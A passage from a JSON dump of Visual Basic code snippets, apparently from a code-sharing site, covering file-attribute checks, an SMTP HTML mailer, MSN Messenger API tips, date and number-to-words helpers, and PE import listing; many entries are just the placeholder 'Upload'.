one, but it turns\nout that certain filenames containing control characters are legal on\nWindows 95 but illegal on Windows NT. Or is it the other way around?\nAnyway, I have seen this function fail in situations too obscure to\ndescribe here.\nBruce McKinney\n\nPlease note that the VB6 File System Object's GetAttr function cannot be used in place of the GetFileAttributesA API function in this technique as it raises an error when the path is invalid.\n\n<code>Private Declare Function GetFileAttributes Lib \"kernel32\" _ \n Alias \"GetFileAttributesA\" (ByVal lpSpec As String) As Long\nPrivate Const INVALID_FILE_ATTRIBUTES As Long = -1\nFunction FileExists(sFileSpec As String) As Boolean \n Dim Attribs As Long \n Attribs = GetFileAttributes(sFileSpec) \n If (Attribs <> INVALID_FILE_ATTRIBUTES) Then \n FileExists = ((Attribs And vbDirectory) <> vbDirectory) \n End If \nEnd Function\nFunction DirExists(sPath As String) As Boolean \n Dim Attribs As Long \n Attribs = GetFileAttributes(sPath) \n If (Attribs <> INVALID_FILE_ATTRIBUTES) Then \n DirExists = ((Attribs And vbDirectory) = vbDirectory) \n End If \nEnd Function</code>\n"},{"WorldId":1,"id":56529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56535,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56545,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56577,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56591,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56611,"LineNumber":1,"line":"isButton\nDescription:\nThis is a Multi style control, with \nproperties that allow the programmer customize the apareance of the control. See \nScreenshots.\nMade By Fred.cpp\n\ncomments and sugestions \n\ne-mail me to:\n\nfred_cpp@msn.com \n\nhttp://www.geocities.com/isbutton3/\nI'm not on the runing for a price, so I hope this don't be so bad :-) "},{"WorldId":1,"id":56618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56626,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56647,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56660,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56671,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56686,"LineNumber":1,"line":"\n<code>\n \n' The return value is the sum of the attribute values \nPublic Declare Function GetAttributes Lib \"kernel32\" _ \n Alias \"GetFileAttributesA\" (ByVal lpSpec As String) As Long\n' Sets the Attributes argument whose sum specifies file attributes \n' An error occurs if you try to set the attributes of an open file \nPublic Declare Function SetAttributes Lib \"kernel32\" _ \n Alias \"SetFileAttributesA\" (ByVal lpSpec As String, _ \n ByVal dwAttributes As Long) As Long\n\nPublic Enum vbFileAttributes \n vbNormal = 0 ' Normal \n vbReadOnly = 1 ' Read-only \n vbHidden = 2 ' Hidden \n vbSystem = 4 ' System file \n vbVolume = 8 ' Volume label \n vbDirectory = 16 ' Directory or folder \n vbArchive = 32 ' File has changed since last backup \n vbTemporary = &H100 ' 256 \n vbCompressed = &H800 ' 2048 \nEnd Enum\n<hr width=\"70%\" size=\"1\" align=\"left\" />\nPublic Function GetAttrib(sFileSpec As String, ByVal Attrib As vbFileAttributes) As Boolean \n ' Returns True if the specified attribute(s) is currently set. \n GetAttrib = (GetAttributes(sFileSpec) And Attrib) = Attrib \nEnd Function\nPublic Sub SetAttrib(sFileSpec As String, ByVal Attrib As vbFileAttributes, Optional fTurnOff As Boolean) \n ' Sets/clears the specified attribute(s) without affecting other attributes. You \n ' do not need to know the current state of an attribute to set it to on or off. \n Dim Attribs As Long \n Attribs = GetAttributes(sFileSpec) \n If fTurnOff Then \n SetAttributes sFileSpec, Attribs And (Not Attrib) \n Else \n SetAttributes sFileSpec, Attribs Or Attrib \n End If \nEnd Sub\n</code>\n"},{"WorldId":1,"id":56689,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56702,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56706,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56714,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56731,"LineNumber":1,"line":"To copy the window or screen contents \nTo copy an image of the window that is currently active, press ALT+PRINT SCREEN. \nTo copy an image of the entire screen, press PRINT SCREEN. \nNote \nTo paste the image into a document, on the Edit menu in the document window, click Paste.\n"},{"WorldId":1,"id":56738,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56750,"LineNumber":1,"line":"' Did you declare the global variable:\n' Public Response As String ?\nDim Start As Single, Tmr As Single\nPublic Sub HTMLMail(Server As String, SourceForm As Form, DestAddress As String, BodyHTML As String, Optional BodyTXT As String = \"\", Optional SenderName As String = \"\", Optional SenderAddress As String = \"\", Optional DestName As String = \"\", Optional Subject As String = \"\")\n' HTMLMail\n' by Pablo Cuadrado - Argentina\n' Estudio Quadra - Innovating the Internet\n'\n' Created on Friday, October 15th, 2004.\n'\n' Uses Winsock object to connect to a SMTP server.\n'\n' I have seen a lot of answers on how to do more\n' than sending a plain text mail on a code posted\n' by Brian Anderson. Well, this is is a Multipart\n' mail, so you can send even more things.\n'\n' I've made a class which allows you to create\n' multipart mails, contact me if you wish to have\n' it. This is just a simple FUNCTION, that allows\n' a \"Bi-part\" mail, with both a plain text and a\n' HTML message embedded.\n'\n' By getting the right MIME types, you can embed\n' anything (pics, files, etc.) on an e-mail.\n'\n' There is a SourceForm parameter:\n' you can call the function in a form with a Winsock\n' control, just by adding, for instance:\n' ...Command1_Click ()\n' HTMLMail \"smtp.myserver.com\", Me, ... and so on.\n'\n' The keyword \"Me\" is the form object itself.\n' I did this in a project with more than one Winsock control.\n' You may delete that parameter, and then in the line:\n' With SourceForm.Winsock\n' Just specify wich control will you use.\nDim Header(40) As String\nDim i As Integer\nDim StatusOutput As String\nDim Headers As String\nDim MIMEDate As String, MIMEHeaders As String\nWith SourceForm.SCWinsock\n If .State = sckClosed Then\n MIMEDate = Format(Date, \"Ddd\") & \", \" & Format(Date, \"dd Mmm YYYY\") & \" \" & Format(Time, \"hh:mm:ss\") & \"\" & \" -0600\"\n Header(1) = \"mail from: \" & Chr(32) & SenderAddress & vbCrlf\n Header(2) = \"rcpt to: \" & DestAddress & vbCrlf\n Header(3) = \"Date: \" & MIMEDate & vbCrlf\n Header(4) = \"From: \"\"\" & SenderName & \"\"\" <\" & SenderAddress & \">\" + vbCrlf\n Header(5) = \"To: \" & DestName & vbCrlf\n Header(6) = \"Subject: \" & Subject & vbCrlf\n Header(7) = \"MIME-Version: 1.0\" & vbCrlf\n Header(8) = \"Content-Type: multipart/alternative;\" & vbCrlf\n \n ' Here is the trick: you make a string (boundary) that divides the parts.\n Header(9) = \" boundary = \" & Chr(34) & \"----=Division\" & Chr(34) & \";\" & vbCrlf\n Header(10) = \"X-Mailer: YourApp\" & vbCrlf\n \n ' The order for the headers:\n ' From - Date - MimeHeaders - X-Headers - To - Subject\n \n MIMEHeaders = Header(7) & Header(8) & Header(9)\n Headers = Header(4) & Header(3) & MIMEHeaders & Header(10) & Header(5) & Header(6)\n \n ' Plain Text Part\n ' ===============\n '\n ' The division goes with the prefix \"--\"\n ' Many programs uses strings starting with \"-\" to make a visible line.\n ' M$ Outlook does.\n Header(11) = \"------=Division\"\n Header(12) = \"Content-Type: text/plain;\"\n Header(13) = \" charset = \" & Chr(34) & \"iso-8859-1\" & Chr(34) & \";\"\n Header(14) = vbCrlf & vbCrlf\n Header(15) = BodyTXT & vbCrlf ' Cuerpo\n \n ' HTML Text Part\n ' ==============\n \n Header(16) = \"------=Division\"\n Header(17) = \"Content-Type: text/html;\"\n Header(18) = \" charset = \" & Chr(34) & \"iso-8859-1\" & Chr(34)\n Header(19) = \"Content-Transfer-Encoding: quoted-printable\" & vbCrlf\n ' Remove the header to ensure HTML compatibility.\n 'Header(19) = vbCrlf\n Header(20) = BodyHTML & vbCrlf ' Cuerpo\n \n \n ' The last division hast both an \"--\" prefix, and a \"--\" suffix.\n Header(21) = \"------=Division--\" & vbCrlf\n \n .LocalPort = 0\n .Protocol = sckTCPProtocol\n .RemoteHost = Server\n .RemotePort = 25\n .Connect\n \n WaitFor (\"220\")\n StatusOutput = \"Connecting...\"\n ' Whenever there's an StatusOutput, you could\n ' point it to a text or label on your app to\n ' create a visible status.\n \n .SendData (\"HELO \" & Server & vbCrlf)\n \n WaitFor (\"250\")\n StatusOutput = \"Connected...\"\n \n ' First command (mail from)\n .SendData (Header(1))\n StatusOutput = \"Sending...\"\n WaitFor (\"250\")\n \n ' Second (rcpt to)\n .SendData (Header(2))\n WaitFor (\"250\")\n .SendData (\"data\" & vbCrlf)\n WaitFor (\"354\")\n \n ' The rest\n .SendData Headers & vbCrlf\n \n ' This line is often found on MIME messages.\n .SendData \"This is a multi-part message in MIME format.\" & vbCrlf\n \n .SendData vbCrlf\n \n For i = 11 To 20\n .SendData (Header(i) & vbCrlf)\n Next i\n .SendData (Header(21) & vbCrlf)\n \n ' Terminate\n .SendData (\".\" & vbCrlf)\n WaitFor (\"250\")\n \n ' Quit\n .SendData (\"quit\" & vbCrlf)\n \n StatusOutput = \"Unconnected...\"\n WaitFor (\"221\")\n .Close\n \n StatusOutput = \"\"\n Else\n Select Case .State\n Case 1\n StatusOutput = \"Socket Opened.\"\n Case 2\n StatusOutput = \"Listening...\"\n Case 3\n StatusOutput = \"Connection pending\"\n Case 4\n StatusOutput = \"Resolving host\"\n Case 5\n StatusOutput = \"Host resolved\"\n Case 6\n StatusOutput = \"Connecting\"\n Case 7\n StatusOutput = \"Connected\"\n Case 8\n StatusOutput = \"The point is closing the connection.\"\n Case 9\n StatusOutput = \"Error.\"\n Case Else\n StatusOutput = \"Undefined.\"\n End Select\n ' Just a box in case anything happens.\n MsgBox (StatusOutput)\n End If\nEnd With\nEnd Sub\nSub WaitFor(ResponseCode As String)\n Start = Timer \n While Len(Response) = 0\n Tmr = Start - Timer\n DoEvents \n If Tmr > 50 Then \n MsgBox \"SMTP service error, timed out while waiting for response\", 64, \"Error!\"\n Exit Sub\n End If\n Wend\n While Left(Response, 3) <> ResponseCode\n DoEvents\n If Tmr > 50 Then\n MsgBox \"SMTP service error, impromper response code. Code should have been: \" + ResponseCode + \" Code recieved: \" + Response, 64, \"Error\"\n Exit Sub\n End If\n Wend\n Response = \"\" \nEnd Sub\n'\n' The following code goes wherever the Winsock\n' control is placed.\n'\nPrivate Sub SCWinsock_DataArrival(ByVal bytesTotal As Long)\n SCWinsock.GetData Response \nEnd Sub\n"},{"WorldId":1,"id":56763,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56765,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56768,"LineNumber":1,"line":"Private Const PM_REMOVE = &H1\nPrivate Type POINTAPI\n x As Long\n y As Long\nEnd Type\nPrivate Type Msg\n hWnd As Long\n Message As Long\n wParam As Long\n lParam As Long\n time As Long\n pt As POINTAPI\nEnd Type\nPrivate Declare Function PeekMessage Lib \"user32\" Alias \"PeekMessageA\" (lpMsg As Msg, ByVal hWnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long\nPrivate Declare Function WaitMessage Lib \"user32\" () As Long\nPrivate bCancel As Boolean\nPrivate Const WM_MOUSEWHEEL = 522\nPrivate Sub ProcessMessages()\n Dim Message As Msg\n Do While Not bCancel\n WaitMessage 'Wait For message and...\n If PeekMessage(Message, Me.hWnd, WM_MOUSEWHEEL, WM_MOUSEWHEEL, PM_REMOVE) Then '...when the mousewheel is used...\n If Message.wParam < 0 Then '...scroll up...\n Me.Top = Me.Top + 240\n Else '... or scroll down\n Me.Top = Me.Top - 240\n End If\n End If\n DoEvents\n Loop\nEnd Sub\nPrivate Sub Form_Load()\n Me.AutoRedraw = True\n Me.Print \"Please use now mouse wheel to move this form.\"\n Me.Show\n ProcessMessages\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n bCancel = True\nEnd Sub\n"},{"WorldId":1,"id":56769,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56771,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56776,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56789,"LineNumber":1,"line":"First, add new form to you control and name it \"frmAbout\". Project the form and in UserControl code add this procedure: \n Sub ShowAboutBox() \n┬á┬á┬áfrmAbout.Show vbModal \nEnd Sub \nThen click in upper VB menu Tools -> Procedure Attributes.... Select \"ShowAboutBox\" in name combo and click \"Advanced >>\" button. Next you must select AboutBox in ProcedureID and click OK. It's all."},{"WorldId":1,"id":56791,"LineNumber":1,"line":"Public Function GetFirstLastDate(ByVal fnDay As String, fnMonth As Integer, fnYear As Integer, fnFirstLast As Byte) As Date\nDim tmpDate As Date, dLoop As Integer, addDate As Date, tmpLastDate As Date\naddDate = DateSerial(fnYear, fnMonth, 1)\nSelect Case fnFirstLast\n Case 0\n If WeekdayName(Weekday(addDate)) = fnDay Then\n GetFirstLastDate = addDate\n Exit Function\n End If\n For dLoop = 1 To 7\n tmpDate = DateAdd(\"w\", dLoop, addDate)\n If WeekdayName(Weekday(tmpDate)) = fnDay Then\n GetFirstLastDate = tmpDate\n Exit For\n End If\n Next dLoop\n Case 1\n tmpLastDate = DateAdd(\"d\", -1, DateAdd(\"m\", 1, addDate))\n If WeekdayName(Weekday(tmpLastDate)) = fnDay Then\n GetFirstLastDate = tmpLastDate\n Exit Function\n End If\n For dLoop = 7 To 1 Step -1\n tmpDate = DateAdd(\"w\", -dLoop, tmpLastDate)\n If WeekdayName(Weekday(tmpDate)) = fnDay Then\n GetFirstLastDate = tmpDate\n Exit For\n End If\n Next dLoop\nEnd Select\nEnd Function\n'Usage example:\nPrivate Sub Command1_Click()\nMsgBox GetFirstLastDate(\"Monday\", 9, 2004, 0)\nEnd Sub\n"},{"WorldId":1,"id":56792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56803,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55328,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55330,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55334,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55343,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55345,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55352,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55371,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55389,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55395,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55396,"LineNumber":1,"line":"<code>\nNumber to words, fairly small code \nOpal R. Ghimire, Kathmandu, email:buna48@hotmail.com \n┬á\n<hr>\n\n \n'THIS FUNCTION CONVERTS 1 TO 999 TRILLION INTO WORDS \nPublic Function ToWords(Num\nAs String) As String \nDim sFormated As String, Unit \nAs String, Ans(5) As String \nDim K As Integer, K1 \nAs Integer \nAns(0) = \"trillion \": Ans(1) = \"billion \": Ans(2) = \"million \" \nAns(3) = \n\"thousand \": Ans(4) = \"\" \nsFormated = Format(Num, \"000000000000000.00\") \nFor K = 1 To 13 \nStep 3 \n┬á┬á┬á\nUnit = Mid$(sFormated, K, 3) \n┬á┬á┬á If Val(Unit) > 0 Then ToWords = ToWords + ToNum(Unit) + Ans(K1) \n┬á┬á┬á\nK1 = K1 + 1 \nNext \n'HANDLES DECIMAL PARTS (IF ANY) \nIf Val(Num) - Int(Num) <> 0 \nThen ToWords = ToWords + \"and \" + \nRight$(sFormated, 2) + \n\"/100\" \nEnd Function \n \n \n'THIS FUNCTION CONVERTS 1 TO 999 INTO WORDS \nPublic Function ToNum(Num As String) \nAs String \nDim N(19) As String, NN(8) \nAs String, Formated As String \nDim Hun As Integer, Tens \nAs Integer \nN(0) = \"\": N(1) = \"one\": N(2) = \"two\": N(3) = \"three\": N(4) = \"four\": N(5) = \n\"five\": N(6) = \"six\": N(7) = \"seven\": N(8) = \"eight\": N(9) = \"nine\": N(10) = \n\"ten\": N(11) = \"eleven\" \nN(12) = \"twelve\": N(13) = \"thirteen\": N(14) = \"fourteen\": N(15) = \"fifteen\": \nN(16) = \"sixteen\": N(17) = \"seventeen\": N(18) = \"eighteen\": N(19) = \"nineteen\" \nNN(0) = \"twenty\": NN(1) = \"thirty\": NN(2) = \"forty\": NN(3) = \"fifty\": NN(4) = \n\"sixty\": NN(5) = \"seventy\": NN(6) = \"eighty\": NN(7) = \"ninety\" \nFormated = Format(Num, \"000.00\") \nHun = Mid$(Formated, 1, 1) \nTens = Mid$(Formated, 2, 2) \n \nIf Hun <> 0 Then ToNum = N(Hun) + \" hundred \" \nIf Tens <> 0 Then \n┬á┬á┬á If Tens < 20 Then \n┬á┬á┬á┬á┬á┬á┬á\nToNum = ToNum + N(Tens) + \" \" \n┬á┬á┬á Else '>20 \n┬á┬á┬á┬á┬á┬á┬á\nToNum = ToNum + NN(Mid(Tens, 1, 1) - 2) + \" \" + N(Mid(Tens, 2, 1)) + \" \" \n┬á┬á┬á End If \nEnd If 'Tens <> 0 \nEnd Function \n</code>"},{"WorldId":1,"id":55397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55399,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55420,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55423,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55428,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55432,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55474,"LineNumber":1,"line":"Due to issues with uploading,\nI had to upload it here:\nhttp://kevgames.hostkingdom.net/fmspsc.zip"},{"WorldId":1,"id":55481,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55496,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55522,"LineNumber":1,"line":"This is my first tutorial so bare with me. In an article that explains the basics of Msn 6 API, the author only gave you the references and declarations and what to put in form_load(). This article will expand on that. Basically, when you have referenced\nMessenger API Type Library, have put:\nPublic WithEvents Msn as Messenger in Declarations, and have put:\nPrivate Sub Form_Load()\nSet Msn = New Messenger\nEnd Sub \nyou would tend to wonder how to do all the commands properly. \nIn that one article that gave the basics, the author asked for a comment of how to change your nickname. But before I give the code, you have to put the following into a module:\nDeclare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nNow, here is the discovered nickname changing code:\nPrivate Sub Command1_Click()\nmsn.OptionsPages 0, MOPT_GENERAL_PAGE\nSendKeys Text1.Text\nsleep (1000)\nSendKeys \"{ENTER}\"\nEnd Sub\nTo make proper use of the code of'course, you have to make the command button and the textbox control. The rest is quite simple. \nNow to explain this code a bit.\nmsn.OptionsPages 0, MOPT_GENERAL_PAGE\nThis code bit means it will open up the general page located in your personal settings where you change your name. In windows messenger, you were able to change your nickname using one line of code. But Msn 6.2 is much different so you have to bare with the changes.\nSendKeys Text1.Text\nThis bit of the code uses Sendkeys which allows you to force certain keys pressed. Anything in text1.text while pressing the command button will be sent.\nsleep (1000)\nThis code tidbit performs the sleep command which you earlier allowed in the module. The 1000 is the amount of milliseconds. 1000 = 1 second and this is required for the program to change the name properly. You are free to edit this number in additions of 1000 if 1000 isn't enough.\nSendKeys \"{ENTER}\"\nThe last part of the code. This just forces the pressing of Enter key. When the personal settings opens and goes to general page, when you press enter, it automatically clicks ok. Thats all this code does, press enter which clicks the ok button.\nNow run it and test it. If it works, great. You're doing well. If not, you didn't do something correctly.\nNow, moving on. You've mastered an a new way of changing your nickname but what's next? Well, one thing to discover is changing your status. It's quite simple. If you create another button and put its caption as online and in the code put:\nPrivate Sub Command2_Click()\nmsn.mystatus = mistatus_online\nEnd Sub\nIt would change your status to Online if you ran the program and clicked the button. Now that that's done, you can easily figure out the rest of the statuses. Observe.\nmsn.mystatus = mistatus_offline = signed out\nmsn.MyStatus = MISTATUS_BUSY = busy status\nmsn.MyStatus = MISTATUS_Be_Right_Back = brb\nmsn.MyStatus = mistatus_away = away\nmsn.MyStatus = MISTATUS_INVISIBLE = appear offline\nYou get the point.\nmsn.MyStatus = MISTATUS_ON_THE_PHONE\nmsn.MyStatus = MISTATUS_OUT_TO_LUNCH\nNow, you know how to change your status. It was pretty easy right? \nOk, now we try some more code and then I'm out for now. \nThis is a trick I found out not too long ago.\nMsn.autosignin\nNotice when you type it that nothing appears beside it for adding in variables etc.\nFor this to work, you would create a timer control and it would look like this:\nPrivate Sub Timer1_Timer()\nif msn.mystatus = mistatus_offline = true then\nmsn.autosignin\nend if\nEnd Sub\nSet the timers interval to 10. Basically, this trick checks to see if you have signed out. Like let's say you've been disconnected. With this program running, it would auto sign you back in immediately. Even though I think that when you get disconnected from the net, it auto signs you back in for you but, it can also be useful to auto sign you in when someone signs you out.\nAnyways, I hope you found this tutorial helpful. One last note before I go: This only works on XP because I program on XP and thats all i've tested it on. So far, anyone who has windows messenger can program msn 6.2 properly. I know there are ways to program in windows 98 but I don't know how so sorry. I hope the tutorial gave you an idea of API more for msn. Please give feedback and any questions, i'll gladly answer!\n\n"},{"WorldId":1,"id":55523,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55524,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55530,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55544,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55545,"LineNumber":1,"line":"Public Sub PrintBinary(Num As Long)\n Dim j&, i&\n j = 128\n For i = 8 To 1 Step -1\n If (Num And j) = 0 Then\n Debug.Print \"0\";\n Else\n Debug.Print \"1\";\n End If\n j = j / 2\n Next\nEnd Sub"},{"WorldId":1,"id":55546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55576,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55587,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55594,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55598,"LineNumber":1,"line":"Its cool stuff enables to beginners for initiating MSWORD Programming... with VisualBasic.. It is extracted from \"MSWord2000 VisualBasic Programming\", MicrosoftPress..."},{"WorldId":1,"id":55602,"LineNumber":1,"line":"'Encodes a string as hex\nPublic Function sHexEncode(sData As String) As String\n Dim iChar As Integer\n Dim sOutString As String\n Dim sTmpChar As String\n For iChar = 1 To Len(sData)\n sTmpChar = Hex$(Asc(Mid(sData, iChar, 1)))\n If Len(sTmpChar) = 1 Then sTmpChar = \"0\" & sTmpChar\n sOutString = sOutString & sTmpChar\n Next iChar\n sHexEncode = sOutString\nEnd Function\n'Decodes a string from hex\nPublic Function sHexDecode(sData As String) As String\n Dim iChar As Integer\n Dim sOutString As String\n Dim sTmpChar As String\n For iChar = 1 To Len(sData) Step 2\n sTmpChar = Chr(\"&H\" & Mid(sData, iChar, 2))\n sOutString = sOutString & sTmpChar\n Next iChar\n sHexDecode = sOutString\nEnd Function"},{"WorldId":1,"id":55605,"LineNumber":1,"line":"'Get the windows directory\nPublic Function sWindowsDirectory() as String\n Dim sOut As String\n sOut = Space(260)\n GetWindowsDirectory sOut, 260\n sOut = Left(sOut, InStr(sOut, Chr(0)) - 1)\n sWindowsDirectory = sOut\nEnd Function\n'Get the system directory\nPublic Function sSystemDirectory() as String\n Dim sOut As String\n sOut = Space(260)\n GetSystemDirectory sOut, 260\n sOut = Left(sOut, InStr(sOut, Chr(0)) - 1)\n sSystemDirectory = sOut\nEnd Function\n'Get the temp directory\nPublic Function sTempDirectory() as String\n Dim sOut As String\n sOut = Space(260)\n ExpandEnvironmentStrings \"%TEMP%\", sOut, 260\n sOut = Left(sOut, InStr(sOut, Chr(0)) - 1)\n sTempDirectory = sOut\nEnd Function\n'Get the user directory\nPublic Function sUserDirectory() as String\n Dim sOut As String\n sOut = Space(260)\n ExpandEnvironmentStrings \"%USERPROFILE%\", sOut, 260\n sOut = Left(sOut, InStr(sOut, Chr(0)) - 1)\n sUserDirectory = sOut\nEnd Function"},{"WorldId":1,"id":55606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55630,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":55638,"LineNumber":1,"line":"'Lists the dependencies of sFile\nPublic Function ListDependencies(sFile As String)\n If (Dir(sFile, vbDirectory Or vbHidden Or vbNormal Or vbReadOnly Or vbSystem) <> \"\") Then\n Dim lRet As Long\n Dim m_LI As LOADED_IMAGE\n Dim m_NTHdr As IMAGE_NT_HEADERS\n Dim sWholeFile As String\n sWholeFile = sFile\n DoEvents\n If MapAndLoad(sWholeFile, vbNullString, m_LI, True, True) Then\n MoveMemory m_NTHdr, ByVal m_LI.FileHeader, Len(m_NTHdr)\n Dim aModules() As String\n Dim lNumModules As Long\n Dim ImpDir As IMAGE_IMPORT_DESCRIPTOR\n Dim lNamePtr As Long, lIdx As Long\n Dim lImpPtr As Long, lSize As Long\n lNumModules = 0\n Erase aModules\n lImpPtr = ImageDirectoryEntryToData(m_LI.MappedAddress, 0, 1, lSize)\n If lImpPtr Then\n MoveMemory ImpDir, ByVal lImpPtr, Len(ImpDir)\n Do Until ImpDir.Name = 0\n ReDim Preserve aModules(0 To lIdx)\n aModules(lIdx) = sStringFromRVA(ImpDir.Name, m_LI)\n lIdx = lIdx + 1\n MoveMemory ImpDir, ByVal lImpPtr + (Len(ImpDir) * lIdx), Len(ImpDir)\n DoEvents\n Loop\n lNumModules = lIdx\n End If\n For lIdx = 0 To lNumModules - 1\n Debug.Print aModules(lIdx)\n Next lIdx\n UnMapAndLoad m_LI\n End If\n Else\n Debug.Print \"File \" & sFile & \" Doesn't Exist\"\n End If\nEnd Function\n'sStringFromRVA(ByVal RVA As Long) As String\n'This will grab a string located at a given RVA\nPrivate Function sStringFromRVA(ByVal RVA As Long, m_LI As LOADED_IMAGE) As String\n Dim lVA As Long\n lVA = ImageRvaToVa(ByVal m_LI.FileHeader, m_LI.MappedAddress, RVA)\n sStringFromRVA = String$(lstrlenA(lVA) + 1, 0)\n lstrcpyA 